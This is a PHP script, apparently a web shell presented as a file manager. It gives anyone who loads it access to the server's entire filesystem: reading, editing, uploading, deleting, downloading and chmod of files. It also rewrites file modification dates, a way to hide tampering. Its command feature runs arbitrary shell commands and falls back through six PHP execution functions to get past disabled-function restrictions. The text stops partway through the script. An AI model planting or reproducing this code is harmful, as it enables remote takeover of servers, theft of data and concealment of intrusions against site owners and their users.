<?php
declare(strict_types=1);

error_reporting(E_ALL);
ini_set('display_errors', '0');

$rootDir = realpath(__DIR__);
if ($rootDir === false) {
    http_response_code(500);
    exit('Root directory not found.');
}

$scopeRoot = DIRECTORY_SEPARATOR;
if (preg_match('/^[A-Za-z]:[\\\\\/]/', $rootDir) === 1) {
    $scopeRoot = strtoupper($rootDir[0]) . ':' . DIRECTORY_SEPARATOR;
}

if (session_status() !== PHP_SESSION_ACTIVE) {
    session_start();
}

if (!isset($_SESSION['fm_token'])) {
    $_SESSION['fm_token'] = bin2hex(random_bytes(16));
}

if (!function_exists('str_starts_with')) {
    function str_starts_with(string $haystack, string $needle): bool
    {
        if ($needle === '') {
            return true;
        }
        return strncmp($haystack, $needle, strlen($needle)) === 0;
    }
}

if (!function_exists('str_contains')) {
    function str_contains(string $haystack, string $needle): bool
    {
        if ($needle === '') {
            return true;
        }
        return strpos($haystack, $needle) !== false;
    }
}

function e(string $text): string
{
    return htmlspecialchars($text, ENT_QUOTES, 'UTF-8');
}

function join_path(string ...$parts): string
{
    $path = implode(DIRECTORY_SEPARATOR, $parts);
    return preg_replace('#[\\/]+#', DIRECTORY_SEPARATOR, $path) ?? $path;
}

function is_absolute_path(string $path): bool
{
    return preg_match('/^(?:[A-Za-z]:[\\\\\/]|[\\\\\/]{2}|\/)/', $path) === 1;
}

function rel_path(string $rootDir, string $absPath): string
{
    $rootNorm = rtrim(str_replace('\\', '/', $rootDir), '/');
    $absNorm = str_replace('\\', '/', $absPath);
    $rootCmp = preg_match('/^[A-Za-z]:/', $rootNorm) === 1 ? strtolower($rootNorm) : $rootNorm;
    $absCmp = preg_match('/^[A-Za-z]:/', $absNorm) === 1 ? strtolower($absNorm) : $absNorm;

    if ($absNorm === $rootNorm) {
        return '';
    }

    if (!str_starts_with($absCmp, $rootCmp)) {
        return ltrim($absNorm, '/');
    }

    return ltrim(substr($absNorm, strlen($rootNorm)), '/');
}

function is_inside_root(string $rootDir, string $path): bool
{
    $rootNorm = rtrim(str_replace('\\', '/', $rootDir), '/');
    $pathNorm = str_replace('\\', '/', $path);
    $rootCmp = preg_match('/^[A-Za-z]:/', $rootNorm) === 1 ? strtolower($rootNorm) : $rootNorm;
    $pathCmp = preg_match('/^[A-Za-z]:/', $pathNorm) === 1 ? strtolower($pathNorm) : $pathNorm;
    return $pathCmp === $rootCmp || str_starts_with($pathCmp, $rootCmp . '/');
}

function safe_current_dir(string $scopeRoot, string $defaultDir, ?string $requestedPath): string
{
    $requestedPath = trim((string) $requestedPath);
    if ($requestedPath === '') {
        return $defaultDir;
    }

    $candidate = is_absolute_path($requestedPath) ? $requestedPath : join_path($scopeRoot, $requestedPath);
    $target = realpath($candidate);
    if ($target === false || !is_dir($target) || !is_inside_root($scopeRoot, $target)) {
        return $defaultDir;
    }
    return $target;
}

function safe_item_abs(string $scopeRoot, string $path): ?string
{
    $path = trim($path);
    if ($path === '') {
        return null;
    }

    $candidate = is_absolute_path($path) ? $path : join_path($scopeRoot, $path);
    $abs = realpath($candidate);
    if ($abs === false || !is_inside_root($scopeRoot, $abs)) {
        return null;
    }
    return $abs;
}

function human_size(int $size): string
{
    $units = ['B', 'KB', 'MB', 'GB', 'TB'];
    $i = 0;
    $value = (float) $size;
    while ($value >= 1024 && $i < count($units) - 1) {
        $value /= 1024;
        $i++;
    }
    return sprintf($i === 0 ? '%.0f %s' : '%.2f %s', $value, $units[$i]);
}

function parse_datetime_input(string $input): ?int
{
    $value = trim($input);
    if ($value === '') {
        return null;
    }

    // Support both HTML datetime-local style and plain SQL-like datetime.
    $normalized = str_replace('T', ' ', $value);
    $dt = DateTime::createFromFormat('Y-m-d H:i:s', $normalized);
    if ($dt instanceof DateTime) {
        return $dt->getTimestamp();
    }

    $ts = strtotime($normalized);
    return $ts === false ? null : $ts;
}

function rrmdir(string $dir): bool
{
    if (!is_dir($dir)) {
        return false;
    }
    $items = scandir($dir);
    if ($items === false) {
        return false;
    }

    foreach ($items as $item) {
        if ($item === '.' || $item === '..') {
            continue;
        }
        $full = join_path($dir, $item);
        if (is_dir($full) && !is_link($full)) {
            if (!rrmdir($full)) {
                return false;
            }
        } else {
            if (!@unlink($full)) {
                return false;
            }
        }
    }

    return @rmdir($dir);
}

function add_to_zip(ZipArchive $zip, string $absPath, string $insideName): bool
{
    if (is_dir($absPath) && !is_link($absPath)) {
        $zip->addEmptyDir($insideName);
        $items = scandir($absPath);
        if ($items === false) {
            return false;
        }
        foreach ($items as $item) {
            if ($item === '.' || $item === '..') {
                continue;
            }
            $childAbs = join_path($absPath, $item);
            $childInside = trim($insideName . '/' . $item, '/');
            if (!add_to_zip($zip, $childAbs, $childInside)) {
                return false;
            }
        }
        return true;
    }
    return $zip->addFile($absPath, $insideName);
}

function stream_and_remove_file(string $tmpFile, string $downloadName): void
{
    if (!is_file($tmpFile)) {
        http_response_code(404);
        exit('File not found.');
    }

    header('Content-Description: File Transfer');
    header('Content-Type: application/octet-stream');
    header('Content-Disposition: attachment; filename="' . rawurlencode($downloadName) . '"');
    header('Content-Length: ' . (string) filesize($tmpFile));
    header('Pragma: public');
    header('Cache-Control: private');
    readfile($tmpFile);
    @unlink($tmpFile);
    exit;
}

function download_single(string $absPath): void
{
    if (is_file($absPath)) {
        header('Content-Description: File Transfer');
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename="' . rawurlencode(basename($absPath)) . '"');
        header('Content-Length: ' . (string) filesize($absPath));
        header('Pragma: public');
        header('Cache-Control: private');
        readfile($absPath);
        exit;
    }

    if (is_dir($absPath)) {
        if (!class_exists('ZipArchive')) {
            http_response_code(500);
            exit('ZipArchive extension is required for folder download.');
        }

        $tmp = tempnam(sys_get_temp_dir(), 'fm_');
        if ($tmp === false) {
            http_response_code(500);
            exit('Cannot create temporary zip.');
        }
        @unlink($tmp);
        $zipPath = $tmp . '.zip';

        $zip = new ZipArchive();
        if ($zip->open($zipPath, ZipArchive::CREATE | ZipArchive::OVERWRITE) !== true) {
            http_response_code(500);
            exit('Cannot create zip.');
        }
        add_to_zip($zip, $absPath, basename($absPath));
        $zip->close();

        stream_and_remove_file($zipPath, basename($absPath) . '.zip');
    }
}

function disabled_functions(): array
{
    $raw = (string) ini_get('disable_functions');
    if (trim($raw) === '') {
        return [];
    }
    return array_map('trim', explode(',', $raw));
}

function can_use_function(string $name): bool
{
    static $disabled = null;
    if ($disabled === null) {
        $disabled = disabled_functions();
    }
    return function_exists($name) && is_callable($name) && !in_array($name, $disabled, true);
}

function run_command_with_fallback(string $command): array
{
    $methods = ['system', 'shell_exec', 'exec', 'passthru', 'proc_open', 'popen'];

    foreach ($methods as $method) {
        if (!can_use_function($method)) {
            continue;
        }

        $output = '';
        $exitCode = null;

        if ($method === 'system') {
            ob_start();
            $ret = 0;
            system($command . ' 2>&1', $ret);
            $output = (string) ob_get_clean();
            $exitCode = $ret;
        } elseif ($method === 'shell_exec') {
            $result = shell_exec($command . ' 2>&1');
            $output = (string) $result;
        } elseif ($method === 'exec') {
            $lines = [];
            $ret = 0;
            exec($command . ' 2>&1', $lines, $ret);
            $output = implode(PHP_EOL, $lines);
            $exitCode = $ret;
        } elseif ($method === 'passthru') {
            ob_start();
            $ret = 0;
            passthru($command . ' 2>&1', $ret);
            $output = (string) ob_get_clean();
            $exitCode = $ret;
        } elseif ($method === 'proc_open') {
            $descriptors = [
                0 => ['pipe', 'r'],
                1 => ['pipe', 'w'],
                2 => ['pipe', 'w'],
            ];
            $process = proc_open($command, $descriptors, $pipes);
            if (is_resource($process)) {
                fclose($pipes[0]);
                $stdout = stream_get_contents($pipes[1]);
                fclose($pipes[1]);
                $stderr = stream_get_contents($pipes[2]);
                fclose($pipes[2]);
                $exitCode = proc_close($process);
                $output = (string) $stdout . (string) $stderr;
            }
        } elseif ($method === 'popen') {
            $handle = popen($command . ' 2>&1', 'r');
            if (is_resource($handle)) {
                while (!feof($handle)) {
                    $output .= (string) fgets($handle);
                }
                $exitCode = pclose($handle);
            }
        }

        return [
            'ok' => true,
            'method' => $method,
            'output' => trim($output) === '' ? '[no output]' : $output,
            'exit_code' => $exitCode,
        ];
    }

    return [
        'ok' => false,
        'method' => 'unavailable',
        'output' => 'Command cannot run: all command functions are disabled or unavailable. SSI fallback is not available in this setup.',
        'exit_code' => null,
    ];
}

function flash_set(string $type, string $message): void
{
    $_SESSION['flash'] = ['type' => $type, 'message' => $message];
}

function flash_get(): ?array
{
    if (!isset($_SESSION['flash'])) {
        return null;
    }
    $flash = $_SESSION['flash'];
    unset($_SESSION['flash']);
    return $flash;
}

function redirect_to_dir(string $scopeRoot, string $currentDir): void
{
    $rel = rel_path($scopeRoot, $currentDir);
    $query = $rel === '' ? '' : '?p=' . rawurlencode($rel);
    header('Location: ' . strtok($_SERVER['REQUEST_URI'] ?? '', '?') . $query);
    exit;
}

function is_ajax_request(): bool
{
    return (isset($_POST['ajax']) && $_POST['ajax'] === '1') || 
           (isset($_SERVER['HTTP_X_REQUESTED_WITH']) && $_SERVER['HTTP_X_REQUESTED_WITH'] === 'XMLHttpRequest');
}

function ajax_response(bool $success, string $message, array $data = []): void
{
    header('Content-Type: application/json');
    echo json_encode([
        'success' => $success,
        'message' => $message,
        'data' => $data,
    ]);
    exit;
}

$homeRel = str_replace('\\', '/', $rootDir);

// Handle AJAX action requests (POST with AJAX flag)
if ($_SERVER['REQUEST_METHOD'] === 'POST' && is_ajax_request()) {
    $token = (string) ($_POST['token'] ?? '');
    if (!hash_equals($_SESSION['fm_token'], $token)) {
        ajax_response(false, 'Invalid token.');
    }
    
    $currentDir = safe_current_dir($scopeRoot, $rootDir, $_POST['p'] ?? null);
    $action = (string) ($_POST['action'] ?? '');
    
    switch ($action) {
        case 'create_file':
            $name = trim((string) ($_POST['name'] ?? ''));
            if ($name === '' || str_contains($name, '/') || str_contains($name, '\\')) {
                ajax_response(false, 'Invalid file name.');
            }
            $newFile = join_path($currentDir, $name);
            if (file_exists($newFile)) {
                ajax_response(false, 'File already exists.');
            }
            if (@file_put_contents($newFile, '') !== false) {
                $fileRel = rel_path($scopeRoot, $newFile);
                ajax_response(true, 'File created.', ['file_rel' => $fileRel]);
            } else {
                ajax_response(false, 'Failed to create file.');
            }
            break;
        
        case 'create_folder':
            $name = trim((string) ($_POST['name'] ?? ''));
            if ($name === '' || str_contains($name, '/') || str_contains($name, '\\')) {
                ajax_response(false, 'Invalid folder name.');
            }
            $newFolder = join_path($currentDir, $name);
            if (file_exists($newFolder)) {
                ajax_response(false, 'Folder already exists.');
            }
            if (@mkdir($newFolder, 0755, true)) {
                ajax_response(true, 'Folder created.');
            } else {
                ajax_response(false, 'Failed to create folder.');
            }
            break;
        
        case 'save_edit':
            $itemRel = (string) ($_POST['item'] ?? '');
            $targetAbs = safe_item_abs($scopeRoot, $itemRel);
            if ($targetAbs === null || !is_file($targetAbs)) {
                ajax_response(false, 'File not found.');
            }
            $content = (string) ($_POST['content'] ?? '');
            if (@file_put_contents($targetAbs, $content) !== false) {
                ajax_response(true, 'File saved.');
            } else {
                ajax_response(false, 'Failed to save file.');
            }
            break;
        
        case 'rename':
            $itemRel = (string) ($_POST['item'] ?? '');
            $newName = trim((string) ($_POST['new_name'] ?? ''));
            $targetAbs = safe_item_abs($scopeRoot, $itemRel);
            if ($targetAbs === null) {
                ajax_response(false, 'Item not found.');
            }
            if ($newName === '' || str_contains($newName, '/') || str_contains($newName, '\\')) {
                ajax_response(false, 'Invalid name.');
            }
            $dest = join_path(dirname($targetAbs), $newName);
            if (@rename($targetAbs, $dest)) {
                ajax_response(true, 'Renamed successfully.');
            } else {
                ajax_response(false, 'Rename failed.');
            }
            break;
        
        case 'permission':
            $itemRel = (string) ($_POST['item'] ?? '');
            $permInput = trim((string) ($_POST['perm'] ?? ''));
            $targetAbs = safe_item_abs($scopeRoot, $itemRel);
            if ($targetAbs === null) {
                ajax_response(false, 'Item not found.');
            }
            if (!preg_match('/^[0-7]{3,4}$/', $permInput)) {
                ajax_response(false, 'Invalid permission format (use octal like 755).');
            }
            if (@chmod($targetAbs, octdec($permInput))) {
                ajax_response(true, 'Permission updated.');
            } else {
                ajax_response(false, 'Failed to update permission.');
            }
            break;
        
        case 'change_date':
            $itemRel = (string) ($_POST['item'] ?? '');
            $dateInput = (string) ($_POST['new_date'] ?? '');
            $targetAbs = safe_item_abs($scopeRoot, $itemRel);
            if ($targetAbs === null) {
                ajax_response(false, 'Item not found.');
            }
            $ts = parse_datetime_input($dateInput);
            if ($ts === null) {
                ajax_response(false, 'Invalid date format. Use YYYY-MM-DD HH:MM:SS or YYYY-MM-DDTHH:MM:SS');
            }
            // Use mtime-only touch for better cross-platform compatibility.
            if (@touch($targetAbs, $ts)) {
                ajax_response(true, 'Date updated.');
            } else {
                ajax_response(false, 'Failed to update date.');
            }
            break;
        
        case 'delete':
            $itemRel = (string) ($_POST['item'] ?? '');
            $targetAbs = safe_item_abs($scopeRoot, $itemRel);
            if ($targetAbs === null) {
                ajax_response(false, 'Item not found.');
            }
            if (is_dir($targetAbs) && !is_link($targetAbs)) {
                if (rrmdir($targetAbs)) {
                    ajax_response(true, 'Folder deleted.');
                } else {
                    ajax_response(false, 'Failed to delete folder.');
                }
            } else {
                if (@unlink($targetAbs)) {
                    ajax_response(true, 'File deleted.');
                } else {
                    ajax_response(false, 'Failed to delete file.');
                }
            }
            break;
        
        case 'bulk_delete':
            $selected = $_POST['selected'] ?? [];
            if (!is_array($selected) || count($selected) === 0) {
                ajax_response(false, 'No items selected.');
            }
            $okCount = 0;
            foreach ($selected as $rel) {
                $targetAbs = safe_item_abs($scopeRoot, (string) $rel);
                if ($targetAbs === null) continue;
                if (is_dir($targetAbs) && !is_link($targetAbs)) {
                    if (rrmdir($targetAbs)) $okCount++;
                } else {
                    if (@unlink($targetAbs)) $okCount++;
                }
            }
            ajax_response(true, "Deleted {$okCount} item(s).");
            break;
        
        case 'upload':
            if (!isset($_FILES['upload_file']) || !is_array($_FILES['upload_file']['name'])) {
                ajax_response(false, 'No upload file found.');
            }
            $names = $_FILES['upload_file']['name'];
            $tmpNames = $_FILES['upload_file']['tmp_name'];
            $errors = $_FILES['upload_file']['error'];
            $okCount = 0;
            $extractCount = 0;
            for ($i = 0; $i < count($names); $i++) {
                if ((int) $errors[$i] !== UPLOAD_ERR_OK) {
                    continue;
                }
                $base = basename((string) $names[$i]);
                if ($base === '') {
                    continue;
                }
                $dest = join_path($currentDir, $base);
                if (!@move_uploaded_file((string) $tmpNames[$i], $dest)) {
                    continue;
                }
                $okCount++;
                if (strtolower(pathinfo($base, PATHINFO_EXTENSION)) === 'zip' && class_exists('ZipArchive')) {
                    $zip = new ZipArchive();
                    if ($zip->open($dest) === true) {
                        $extractTo = join_path($currentDir, pathinfo($base, PATHINFO_FILENAME));
                        if (!is_dir($extractTo)) {
                            @mkdir($extractTo, 0755, true);
                        }
                        if ($zip->extractTo($extractTo)) {
                            $extractCount++;
                        }
                        $zip->close();
                    }
                }
            }
            ajax_response(true, "Upload: {$okCount} file(s), ZIP extracted: {$extractCount}.");
            break;
        
        case 'command':
            $cmd = trim((string) ($_POST['cmd'] ?? ''));
            if ($cmd === '') {
                ajax_response(false, 'Command is empty.');
            }
            $oldCwd = getcwd();
            @chdir($currentDir);
            $commandResult = run_command_with_fallback($cmd);
            if ($oldCwd !== false) {
                @chdir($oldCwd);
            }
            ajax_response(true, $commandResult['method'], [
                'output' => $commandResult['output'],
                'exit_code' => $commandResult['exit_code'],
                'ok' => $commandResult['ok'],
            ]);
            break;
        
        default:
            ajax_response(false, 'Unknown action.');
    }
}

$homeRel = str_replace('\\', '/', $rootDir);

// Handle AJAX API requests
if (isset($_GET['api']) && $_GET['api'] === 'list') {
    $apiDir = safe_current_dir($scopeRoot, $scopeRoot, $_GET['p'] ?? null);
    $items = scandir($apiDir) ?: [];
    $apiRows = [];
    foreach ($items as $item) {
        if ($item === '.' || $item === '..') {
            continue;
        }
        $abs = join_path($apiDir, $item);
        $stat = @stat($abs);
        $isDir = is_dir($abs) && !is_link($abs);
        $apiRows[] = [
            'name' => $item,
            'rel' => rel_path($scopeRoot, $abs),
            'type' => $isDir ? 'folder' : 'file',
            'size' => $isDir ? '-' : human_size((int) (@filesize($abs) ?: 0)),
            'perm' => substr(sprintf('%o', (int) (@fileperms($abs) ?: 0)), -4),
            'mtime' => $stat !== false ? date('Y-m-d H:i:s', (int) $stat['mtime']) : '-',
        ];
    }
    usort($apiRows, static function (array $a, array $b): int {
        if ($a['type'] !== $b['type']) {
            return $a['type'] === 'folder' ? -1 : 1;
        }
        return strcasecmp($a['name'], $b['name']);
    });
    
    $apiBreadcrumbs = [];
    $relPath = rel_path($scopeRoot, $apiDir);
    $scopeNorm = str_replace('\\', '/', $scopeRoot);
    $rootLabel = preg_match('/^[A-Za-z]:\/$/', $scopeNorm) === 1
        ? strtoupper(substr($scopeNorm, 0, 2))
        : '/';
    $scopeQueryBase = rtrim(str_replace('\\', '/', $scopeRoot), '/');
    $scopeQueryBase = $scopeQueryBase === '' ? '/' : $scopeQueryBase;
    $rootQuery = $scopeQueryBase === '/' ? '/' : ($scopeQueryBase . '/');
    $apiBreadcrumbs[] = ['query' => $rootQuery, 'label' => $rootLabel];
    if ($relPath !== '') {
        $segments = array_filter(explode('/', $relPath), static function ($v) {
            return $v !== '';
        });
        $acc = '';
        foreach ($segments as $seg) {
            $acc .= ($acc === '' ? '' : '/') . $seg;
            $queryPath = $scopeQueryBase === '/' ? ('/' . $acc) : ($scopeQueryBase . '/' . $acc);
            $apiBreadcrumbs[] = ['query' => $queryPath, 'label' => $seg];
        }
    }
    
    header('Content-Type: application/json');
    echo json_encode([
        'rows' => $apiRows,
        'fullPathCrumbs' => $apiBreadcrumbs,
        'currentDir' => rel_path($scopeRoot, $apiDir),
        'currentQuery' => str_replace('\\', '/', $apiDir),
    ]);
    exit;
}

if (isset($_GET['api']) && $_GET['api'] === 'view') {
    $fileRel = (string) ($_GET['file'] ?? '');
    $fileAbs = safe_item_abs($scopeRoot, $fileRel);
    if ($fileAbs === null || !is_file($fileAbs)) {
        header('Content-Type: application/json');
        http_response_code(404);
        echo json_encode(['success' => false, 'message' => 'File not found']);
        exit;
    }
    $content = @file_get_contents($fileAbs);
    if ($content === false) {
        header('Content-Type: application/json');
        http_response_code(500);
        echo json_encode(['success' => false, 'message' => 'Failed to read file']);
        exit;
    }
    header('Content-Type: application/json');
    echo json_encode([
        'success' => true,
        'file' => $fileRel,
        'content' => $content,
        'size' => filesize($fileAbs),
    ]);
    exit;
}

$currentDir = safe_current_dir($scopeRoot, $rootDir, $_GET['p'] ?? null);

if (isset($_GET['download'])) {
    $targetAbs = safe_item_abs($scopeRoot, (string) $_GET['download']);
    if ($targetAbs !== null) {
        download_single($targetAbs);
    }
    http_response_code(404);
    exit('Target not found.');
}

$commandResult = null;

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $isAjax = is_ajax_request();
    $token = (string) ($_POST['token'] ?? '');
    if (!hash_equals($_SESSION['fm_token'], $token)) {
        if ($isAjax) {
            ajax_response(false, 'Invalid token.');
        }
        flash_set('error', 'Invalid token.');
        redirect_to_dir($scopeRoot, $currentDir);
    }

    $action = (string) ($_POST['action'] ?? '');
    $itemRel = (string) ($_POST['item'] ?? '');

    if ($action === 'create_file') {
        $name = trim((string) ($_POST['name'] ?? ''));
        if ($name === '' || str_contains($name, '/') || str_contains($name, '\\')) {
            if ($isAjax) {
                ajax_response(false, 'Invalid file name.');
            }
            flash_set('error', 'Invalid file name.');
        } else {
            $newFile = join_path($currentDir, $name);
            if (file_exists($newFile)) {
                if ($isAjax) {
                    ajax_response(false, 'File already exists.');
                }
                flash_set('error', 'File already exists.');
            } else {
                $ok = @file_put_contents($newFile, '') !== false;
                if ($isAjax) {
                    if ($ok) {
                        ajax_response(true, 'File created.');
                    } else {
                        ajax_response(false, 'Failed to create file.');
                    }
                }
                flash_set($ok ? 'success' : 'error', $ok ? 'File created.' : 'Failed to create file.');
            }
        }
        if (!$isAjax) {
            redirect_to_dir($scopeRoot, $currentDir);
        }
    }

    if ($action === 'create_folder') {
        $name = trim((string) ($_POST['name'] ?? ''));
        if ($name === '' || str_contains($name, '/') || str_contains($name, '\\')) {
            if ($isAjax) {
                ajax_response(false, 'Invalid folder name.');
            }
            flash_set('error', 'Invalid folder name.');
        } else {
            $newFolder = join_path($currentDir, $name);
            if (file_exists($newFolder)) {
                if ($isAjax) {
                    ajax_response(false, 'Folder already exists.');
                }
                flash_set('error', 'Folder already exists.');
            } else {
                $ok = @mkdir($newFolder, 0755, true);
                if ($isAjax) {
                    if ($ok) {
                        ajax_response(true, 'Folder created.');
                    } else {
                        ajax_response(false, 'Failed to create folder.');
                    }
                }
                flash_set($ok ? 'success' : 'error', $ok ? 'Folder created.' : 'Failed to create folder.');
            }
        }
        if (!$isAjax) {
            redirect_to_dir($scopeRoot, $currentDir);
        }
    }

    if ($action === 'upload') {
        if (!isset($_FILES['upload_file']) || !is_array($_FILES['upload_file']['name'])) {
            flash_set('error', 'No upload file found.');
            redirect_to_dir($scopeRoot, $currentDir);
        }

        $names = $_FILES['upload_file']['name'];
        $tmpNames = $_FILES['upload_file']['tmp_name'];
        $errors = $_FILES['upload_file']['error'];

        $okCount = 0;
        $extractCount = 0;

        for ($i = 0; $i < count($names); $i++) {
            if ((int) $errors[$i] !== UPLOAD_ERR_OK) {
                continue;
            }

            $base = basename((string) $names[$i]);
            if ($base === '') {
                continue;
            }

            $dest = join_path($currentDir, $base);
            if (!@move_uploaded_file((string) $tmpNames[$i], $dest)) {
                continue;
            }
            $okCount++;

            if (strtolower(pathinfo($base, PATHINFO_EXTENSION)) === 'zip' && class_exists('ZipArchive')) {
                $zip = new ZipArchive();
                if ($zip->open($dest) === true) {
                    $extractTo = join_path($currentDir, pathinfo($base, PATHINFO_FILENAME));
                    if (!is_dir($extractTo)) {
                        @mkdir($extractTo, 0755, true);
                    }
                    if ($zip->extractTo($extractTo)) {
                        $extractCount++;
                    }
                    $zip->close();
                }
            }
        }

        flash_set('success', "Upload finished: {$okCount} file(s), zip extracted: {$extractCount}.");
        redirect_to_dir($scopeRoot, $currentDir);
    }

    if ($action === 'save_edit') {
        $targetAbs = safe_item_abs($scopeRoot, $itemRel);
        if ($targetAbs === null || !is_file($targetAbs)) {
            flash_set('error', 'File for editing not found.');
            redirect_to_dir($scopeRoot, $currentDir);
        }

        $content = (string) ($_POST['content'] ?? '');
        $ok = @file_put_contents($targetAbs, $content) !== false;
        flash_set($ok ? 'success' : 'error', $ok ? 'File saved.' : 'Failed to save file.');
        redirect_to_dir($scopeRoot, $currentDir);
    }

    if ($action === 'rename') {
        $targetAbs = safe_item_abs($scopeRoot, $itemRel);
        $newName = trim((string) ($_POST['new_name'] ?? ''));

        if ($targetAbs === null) {
            flash_set('error', 'Rename target not found.');
        } elseif ($newName === '' || str_contains($newName, '/') || str_contains($newName, '\\')) {
            flash_set('error', 'Invalid new name.');
        } else {
            $dest = join_path(dirname($targetAbs), $newName);
            $ok = @rename($targetAbs, $dest);
            flash_set($ok ? 'success' : 'error', $ok ? 'Rename success.' : 'Rename failed.');
        }

        redirect_to_dir($scopeRoot, $currentDir);
    }

    if ($action === 'permission') {
        $targetAbs = safe_item_abs($scopeRoot, $itemRel);
        $permInput = trim((string) ($_POST['perm'] ?? ''));

        if ($targetAbs === null) {
            flash_set('error', 'Permission target not found.');
        } elseif (!preg_match('/^[0-7]{3,4}$/', $permInput)) {
            flash_set('error', 'Permission format must be octal, for example 755 or 0644.');
        } else {
            $perm = octdec($permInput);
            $ok = @chmod($targetAbs, $perm);
            flash_set($ok ? 'success' : 'error', $ok ? 'Permission updated.' : 'Failed to update permission.');
        }

        redirect_to_dir($scopeRoot, $currentDir);
    }

    if ($action === 'change_date') {
        $targetAbs = safe_item_abs($scopeRoot, $itemRel);
        $dateInput = (string) ($_POST['new_date'] ?? '');
        $ts = parse_datetime_input($dateInput);

        if ($targetAbs === null) {
            flash_set('error', 'Date target not found.');
        } elseif ($ts === null) {
            flash_set('error', 'Invalid date format. Use YYYY-MM-DD HH:MM:SS or YYYY-MM-DDTHH:MM:SS');
        } else {
            $ok = @touch($targetAbs, $ts);
            flash_set($ok ? 'success' : 'error', $ok ? 'Date updated.' : 'Failed to update date.');
        }

        redirect_to_dir($scopeRoot, $currentDir);
    }

    if ($action === 'delete') {
        $targetAbs = safe_item_abs($scopeRoot, $itemRel);

        if ($targetAbs === null) {
            flash_set('error', 'Delete target not found.');
        } elseif (is_dir($targetAbs) && !is_link($targetAbs)) {
            $ok = rrmdir($targetAbs);
            flash_set($ok ? 'success' : 'error', $ok ? 'Folder deleted.' : 'Failed to delete folder.');
        } else {
            $ok = @unlink($targetAbs);
            flash_set($ok ? 'success' : 'error', $ok ? 'File deleted.' : 'Failed to delete file.');
        }

        redirect_to_dir($scopeRoot, $currentDir);
    }

    if ($action === 'bulk_delete') {
        $selected = $_POST['selected'] ?? [];
        if (!is_array($selected) || count($selected) === 0) {
            flash_set('error', 'No item selected for delete.');
            redirect_to_dir($scopeRoot, $currentDir);
        }

        $okCount = 0;
        $failCount = 0;

        foreach ($selected as $rel) {
            $targetAbs = safe_item_abs($scopeRoot, (string) $rel);
            if ($targetAbs === null || $targetAbs === $scopeRoot) {
                $failCount++;
                continue;
            }

            if (is_dir($targetAbs) && !is_link($targetAbs)) {
                if (rrmdir($targetAbs)) {
                    $okCount++;
                } else {
                    $failCount++;
                }
            } else {
                if (@unlink($targetAbs)) {
                    $okCount++;
                } else {
                    $failCount++;
                }
            }
        }

        flash_set('success', "Bulk delete finished: success {$okCount}, failed {$failCount}.");
        redirect_to_dir($scopeRoot, $currentDir);
    }

    if ($action === 'bulk_zip') {
        $selected = $_POST['selected'] ?? [];
        if (!is_array($selected) || count($selected) === 0) {
            flash_set('error', 'No item selected for zip.');
            redirect_to_dir($scopeRoot, $currentDir);
        }

        if (!class_exists('ZipArchive')) {
            flash_set('error', 'ZipArchive extension is not available.');
            redirect_to_dir($scopeRoot, $currentDir);
        }

        $tmp = tempnam(sys_get_temp_dir(), 'fm_');
        if ($tmp === false) {
            flash_set('error', 'Failed to create temporary zip.');
            redirect_to_dir($scopeRoot, $currentDir);
        }
        @unlink($tmp);
        $zipPath = $tmp . '.zip';

        $zip = new ZipArchive();
        if ($zip->open($zipPath, ZipArchive::CREATE | ZipArchive::OVERWRITE) !== true) {
            flash_set('error', 'Failed to create zip.');
            redirect_to_dir($scopeRoot, $currentDir);
        }

        $added = 0;
        foreach ($selected as $rel) {
            $targetAbs = safe_item_abs($scopeRoot, (string) $rel);
            if ($targetAbs === null) {
                continue;
            }
            if (add_to_zip($zip, $targetAbs, basename($targetAbs))) {
                $added++;
            }
        }
        $zip->close();

        if ($added === 0) {
            @unlink($zipPath);
            flash_set('error', 'No valid item to zip.');
            redirect_to_dir($scopeRoot, $currentDir);
        }

        stream_and_remove_file($zipPath, 'bulk_' . date('Ymd_His') . '.zip');
    }

    if ($action === 'command') {
        $cmd = trim((string) ($_POST['cmd'] ?? ''));
        if ($cmd === '') {
            if ($isAjax) {
                ajax_response(false, 'Command is empty.');
            }
            flash_set('error', 'Command is empty.');
            redirect_to_dir($scopeRoot, $currentDir);
        }

        $oldCwd = getcwd();
        @chdir($currentDir);
        $commandResult = run_command_with_fallback($cmd);
        if ($oldCwd !== false) {
            @chdir($oldCwd);
        }
        
        if ($isAjax) {
            ajax_response(true, $commandResult['method'], [
                'output' => $commandResult['output'],
                'exit_code' => $commandResult['exit_code'],
                'ok' => $commandResult['ok'],
            ]);
        }
    }
}

$editingRel = isset($_GET['edit']) ? trim((string) $_GET['edit']) : '';
$editingAbs = $editingRel !== '' ? safe_item_abs($scopeRoot, $editingRel) : null;
$editingContent = null;
if ($editingAbs !== null && is_file($editingAbs)) {
    $editingContent = @file_get_contents($editingAbs);
}

$viewingRel = isset($_GET['view']) ? trim((string) $_GET['view']) : '';
$viewingAbs = $viewingRel !== '' ? safe_item_abs($scopeRoot, $viewingRel) : null;
$viewingContent = null;
if ($viewingAbs !== null && is_file($viewingAbs)) {
    $viewingContent = @file_get_contents($viewingAbs);
}

$items = scandir($currentDir) ?: [];
$rows = [];
foreach ($items as $item) {
    if ($item === '.' || $item === '..') {
        continue;
    }
    $abs = join_path($currentDir, $item);
    $stat = @stat($abs);
    $isDir = is_dir($abs) && !is_link($abs);

    $rows[] = [
        'name' => $item,
        'rel' => rel_path($scopeRoot, $abs),
        'type' => $isDir ? 'folder' : 'file',
        'size' => $isDir ? '-' : human_size((int) (@filesize($abs) ?: 0)),
        'perm' => substr(sprintf('%o', (int) (@fileperms($abs) ?: 0)), -4),
        'mtime' => $stat !== false ? date('Y-m-d H:i:s', (int) $stat['mtime']) : '-',
    ];
}

usort(
    $rows,
    static function (array $a, array $b): int {
        if ($a['type'] !== $b['type']) {
            return $a['type'] === 'folder' ? -1 : 1;
        }
        return strcasecmp($a['name'], $b['name']);
    }
);

$flash = flash_get();
$currentRel = rel_path($scopeRoot, $currentDir);
$breadcrumbs = [
    ['query' => $homeRel, 'label' => 'B Aja Sih'],
];
if (is_inside_root($rootDir, $currentDir)) {
    $currentFromHome = rel_path($rootDir, $currentDir);
    $segments = $currentFromHome === '' ? [] : explode('/', str_replace('\\', '/', $currentFromHome));
    $pathAcc = '';
    foreach ($segments as $seg) {
        $pathAcc = $pathAcc === '' ? $seg : $pathAcc . '/' . $seg;
        $breadcrumbs[] = ['query' => ($homeRel === '' ? $pathAcc : ($homeRel . '/' . $pathAcc)), 'label' => $seg];
    }
}

$fullPathCrumbs = [];
$relPath = rel_path($scopeRoot, $currentDir);
